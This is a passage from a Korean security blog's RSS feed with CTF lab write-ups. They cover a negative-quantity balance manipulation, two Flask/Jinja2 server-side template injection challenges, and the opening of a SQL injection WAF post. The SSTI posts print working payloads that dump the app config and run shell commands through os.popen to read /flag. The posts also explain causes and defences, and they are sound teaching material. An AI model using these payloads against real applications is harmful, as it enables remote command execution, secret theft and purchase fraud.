&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버는 음수 수량을 처리하지 못하고, 잔액을 &lt;b&gt;차감하는 대신 증가&lt;/b&gt;시킴.&lt;/li&gt;
&lt;li&gt;예: 원래 잔액이 10,000원 &amp;rarr; 음수 수량 요청 후 잔액이 수백만 원으로 증가.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1737518148669&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;quantity=-1&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 플래그 구매&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;잔액을 조작한 후, 다시 정상적인 요청을 통해 플래그 구매:
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버는 충분한 잔액을 확인하고, 플래그 구매 허용.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;플래그 획득 성공.&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1737518158883&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;quantity=1&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;취약점 유형&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;비즈니스 로직 에러&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;quantity 값에 대한 적절한 검증 부재.&lt;/li&gt;
&lt;li&gt;음수 값이 비정상적으로 처리되어 잔액 조작 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;공격 가능 원인&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;수량 값 검증 부족&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;quantity 값이 음수일 경우의 처리 로직 미비.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;서버 로직 결함&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;음수 수량이 잔액 차감이 아닌 &lt;b&gt;증가&lt;/b&gt;로 처리됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;과정 요약&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;취약점 유형&lt;/b&gt;: 비즈니스 로직 에러.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이용된 기법&lt;/b&gt;: 음수 값을 이용한 잔액 조작.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용 도구&lt;/b&gt;: Burp Suite를 이용한 요청 분석 및 수정.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;공격 흐름&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Burp Suite에서 **수량 값(quantity)**을 음수로 수정.&lt;/li&gt;
&lt;li&gt;음수 요청으로 잔액을 비정상적으로 증가.&lt;/li&gt;
&lt;li&gt;충분한 잔액을 확보한 후 정상적으로 플래그 구매.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;보안 대책&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 입력 값 검증&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;quantity 값에 대한 철저한 검증:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;양수 값만 허용&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;범위를 벗어난 값은 &lt;b&gt;에러 반환&lt;/b&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 서버 로직 개선&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;음수 값 처리 방지:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버에서 &lt;b&gt;음수 값 확인 후 차단&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;예외적인 값에 대한 추가 로직 구현.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 로깅 및 모니터링&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;비정상적인 요청(예: 음수 값)의 탐지 및 알림.&lt;/li&gt;
&lt;li&gt;잔액 변경 및 상품 구매 내역에 대한 상세 로깅.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;부록: Burp Suite 사용법&lt;/b&gt;&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Proxy 설정&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Burp Suite의 &lt;b&gt;Proxy&lt;/b&gt;를 활성화하고, 브라우저를 프록시에 연결.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;요청 가로채기&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 요청을 수행한 후, Burp Suite에서 &lt;b&gt;Intercept&lt;/b&gt; 활성화.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;파라미터 수정&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;quantity=-1 등 값을 수정.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;요청 전송&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수정된 요청을 &lt;b&gt;Forward&lt;/b&gt;로 전송.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 사례는 입력 값 검증이 부족한 경우, 비즈니스 로직이 쉽게 악용될 수 있음을 보여줍니다. 이를 통해 입력 검증과 보안 로직 강화의 중요성을 다시 한번 확인할 수 있습니다.&lt;/p&gt;</description>
      <category>Security/CTF</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/245</guid>
      <comments>https://noong2.tistory.com/245#entry245comment</comments>
      <pubDate>Wed, 22 Jan 2025 12:56:17 +0900</pubDate>
    </item>
    <item>
      <title>8.2 SSTI - secretkey</title>
      <link>https://noong2.tistory.com/244</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 정의&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Flask 애플리케이션에서 **SECRET_KEY**가 환경 변수 FLAG로 설정.&lt;/li&gt;
&lt;li&gt;초기 분석 시, FLAG 값이 가짜 플래그로 보였으나 실제 플래그였음.&lt;/li&gt;
&lt;li&gt;목표: &lt;b&gt;SSTI 취약점을 이용해 SECRET_KEY를 노출시키고, 플래그를 획득.&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Flask 애플리케이션 취약점&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;SSTI(Server-Side Template Injection)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자 입력이 Flask 템플릿 엔진 &lt;b&gt;Jinja2&lt;/b&gt;에서 실행됨.&lt;/li&gt;
&lt;li&gt;입력값이 서버에서 적절히 필터링되지 않고 실행되며 발생.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;플래그 저장 방식&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SECRET_KEY에 환경 변수 FLAG 값이 설정됨.&lt;/li&gt;
&lt;li&gt;Flask의 &lt;b&gt;config&lt;/b&gt; 객체를 통해 SECRET_KEY 값을 확인 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;플래그 획득 과정&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. SSTI 취약점 확인&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;기본 테스트&lt;/b&gt;: SSTI 취약점 여부를 확인하기 위해 템플릿 코드 테스트:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;: 서버에서 49를 반환하며, 입력이 템플릿으로 실행됨을 확인.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1737517923081&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{{ 7*7 }}&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. Flask 설정 접근&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Flask에서 설정 값은 &lt;b&gt;config&lt;/b&gt; 객체에 저장:&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;{{ config }}&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;테스트 코드&lt;/b&gt;: config.items()를 호출해 모든 설정 항목 확인:&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;{{ config.items() }}&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Flask 애플리케이션의 설정 값이 출력.&lt;/li&gt;
&lt;li&gt;SECRET_KEY 값에 FLAG 환경 변수 값이 포함됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 최종 플래그 획득 코드&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다음 코드를 템플릿 인젝션 입력 필드에 삽입:
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;{{ config.items() }}&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;: SECRET_KEY 값이 출력되며 플래그 획득:&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;SSTI 취약점 정리&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. SSTI란?&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버 측 템플릿 처리 과정에서, 사용자의 입력이 템플릿 코드로 실행될 때 발생하는 취약점.&lt;/li&gt;
&lt;li&gt;결과적으로:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;민감 정보 노출&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;원격 코드 실행(RCE)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;파일 시스템 접근&lt;/b&gt; 등의 문제를 유발.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. Flask와 Jinja2&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Flask의 기본 템플릿 엔진은 &lt;b&gt;Jinja2&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;{{ }}&lt;/b&gt;: 템플릿 내에서 Python 코드를 실행할 수 있는 구문.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 취약점 발생 원인&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자의 입력이 템플릿 엔진을 통해 그대로 실행.&lt;/li&gt;
&lt;li&gt;입력값에 대한 &lt;b&gt;적절한 필터링 미비&lt;/b&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;보안 대책&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 사용자 입력 검증&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;템플릿에서 실행되는 사용자 입력을 화이트리스트로 검증.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. render_template_string 사용 금지&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Jinja2의 render_template_string 대신, 안전한 방식으로 템플릿을 렌더링:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;render_template 사용.&lt;/li&gt;
&lt;li&gt;데이터는 템플릿 변수로 전달하며 직접 실행 방지.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 환경 변수 보호&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;민감한 정보를 환경 변수에 저장할 경우:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;접근 제한 강화.&lt;/li&gt;
&lt;li&gt;디버그 로그에 출력되지 않도록 설정.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Security/CTF</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/244</guid>
      <comments>https://noong2.tistory.com/244#entry244comment</comments>
      <pubDate>Wed, 22 Jan 2025 12:52:39 +0900</pubDate>
    </item>
    <item>
      <title>8.1 SSTI - server flag</title>
      <link>https://noong2.tistory.com/243</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;목표&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flask 애플리케이션에서 &lt;b&gt;SSTI(Server-Side Template Injection)&lt;/b&gt; 취약점을 이용하여 서버의 중요한 정보에 접근하고, 환경 변수에 저장된 플래그를 획득.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 개요&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Flask 애플리케이션 취약점&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Flask 코드 분석 결과:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;render_template_string&lt;/b&gt; 메서드가 사용자의 입력을 그대로 템플릿으로 렌더링.&lt;/li&gt;
&lt;li&gt;사용자 입력이 필터링 없이 서버 측에서 처리되는 것이 확인됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;환경 변수&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;app.secret_key가 환경 변수 FLAG로부터 값을 받아 설정됨.&lt;/li&gt;
&lt;li&gt;이를 통해 플래그가 환경 변수에 저장되어 있음을 유추.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;플래그 획득 과정&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. SSTI 취약점 확인&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;기본 테스트&lt;/b&gt;: SSTI 여부를 확인하기 위해 간단한 템플릿 인젝션을 시도:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;: 서버가 49를 반환하며, 사용자의 입력이 템플릿으로 렌더링됨을 확인.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1737517719906&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{{7*7}}&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 파일 시스템 탐색&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;명령어 실행&lt;/b&gt;: Flask의 템플릿 인젝션 취약점을 이용하여 파일 시스템 탐색을 수행:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;: 파일 목록에서 /flag 파일의 존재를 확인.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1737517725100&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 플래그 파일 읽기&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;플래그 파일 접근&lt;/b&gt;: /flag 파일의 내용을 읽기 위해 다음 코드를 입력:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;: 서버에서 /flag 파일 내용을 출력하며 플래그를 획득.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1737517733469&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;최종 플래그 획득 코드&lt;/b&gt;&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1737517740477&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;과정 요약&lt;/b&gt;&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;SSTI 취약점 확인&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;{{7*7}}&lt;/b&gt;과 같은 간단한 템플릿 코드로 SSTI 여부를 검증.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;파일 시스템 탐색&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;ls&lt;/b&gt; 명령어를 통해 파일 시스템의 구조를 탐색하고 &lt;b&gt;/flag&lt;/b&gt; 파일의 존재 확인.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;플래그 파일 읽기&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;cat /flag&lt;/b&gt; 명령어로 플래그 파일 내용을 출력하여 플래그 획득.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 분석 및 보안 대책&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;취약점 원인&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;render_template_string의 직접 사용&lt;/b&gt;: 사용자 입력이 필터링 없이 템플릿으로 렌더링되어 실행됨.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;환경 변수 노출&lt;/b&gt;: 환경 변수 및 서버 파일에 대한 접근 제한 부족.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;보안 대책&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;render_template_string 사용 금지&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자 입력을 직접 렌더링하는 메서드는 사용하지 않거나, 엄격한 필터링 적용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;환경 변수 보호&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;환경 변수 값은 서버 외부에서 접근할 수 없도록 제한.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;샌드박스 환경 적용&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버에서 실행되는 코드를 격리된 환경에서 실행하여 민감한 정보 접근 방지.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;입력 검증 강화&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자 입력 값에 대해 화이트리스트 기반의 검증을 수행하여 악성 입력 차단.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSTI 취약점은 서버의 민감한 정보 노출과 데이터 탈취로 이어질 수 있는 심각한 문제입니다. 이 사례를 통해 Flask 애플리케이션 개발 시 보안 강화의 중요성을 다시 한번 확인할 수 있었습니다.&lt;/p&gt;</description>
      <category>Security/CTF</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/243</guid>
      <comments>https://noong2.tistory.com/243#entry243comment</comments>
      <pubDate>Wed, 22 Jan 2025 12:49:33 +0900</pubDate>
    </item>
    <item>
      <title>3.3 SQLi_WAF_3</title>
      <link>https://noong2.tistory.com/242</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;목표&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;SQL 인젝션&lt;/b&gt; 기법을 사용하여 admin 계정으로 로그인.&lt;/li&gt;
&lt;li&gt;LOGIN_FLAG를 획득.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;환경&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애플리케이션은 다음과 같은 필터링 리스트를 사용하여 SQL 인젝션 공격을 방어합니다:&lt;/p&gt;
